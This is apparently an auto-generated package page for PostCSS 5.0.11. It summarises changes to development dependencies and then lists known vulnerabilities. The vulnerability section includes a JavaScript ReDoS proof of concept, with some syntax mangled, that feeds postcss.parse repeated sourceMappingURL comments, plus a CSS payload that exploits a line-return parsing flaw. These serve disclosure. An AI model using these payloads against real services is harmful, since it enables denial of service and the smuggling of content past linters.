PostCSS version 5.0.11 is a minor update to the popular tool for transforming styles with JavaScript plugins, building upon the foundation laid by version 5.0.10. Both versions share the same core dependencies: js-base64, source-map, and supports-color, ensuring continued compatibility and stability in handling base64 encoding, source map generation, and color support detection.
The key changes between these versions lie primarily in the development dependencies, indicating improvements and updates to the project's testing and build environment. Notably, chai has been updated from 3.3.0 to 3.4.0, sinon from 1.17.1 to 1.17.2, eslint from 1.6.0 to 1.9.0, isparta from 3.1.0 to 3.5.3, fs-extra from 0.24.0 to 0.26.2, yaspeller from 2.5.0 to 2.5.1, gulp-babel from 5.2.1 to 5.3.0, gulp-shell from 0.5.0 to 0.5.1 and gulp-istanbul from 0.10.1 to 0.10.2 and babel-eslint from 4.1.3 to 4.1.4. These updates likely incorporate bug fixes, performance enhancements, and new features within these development tools, leading to a more robust and efficient development workflow.
For developers using PostCSS, these updates translate to a potentially improved experience when contributing to the PostCSS project or using PostCSS in environments that rely on these specific development dependencies. The core functionality and API of PostCSS remain consistent between these versions, ensuring a smooth transition for existing users. Upgrading from 5.0.10 to 5.0.11 is recommended to benefit from the latest improvements and bug fixes in the development toolchain, fostering a more reliable and streamlined development process.
All the vulnerabilities related to the version 5.0.11 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.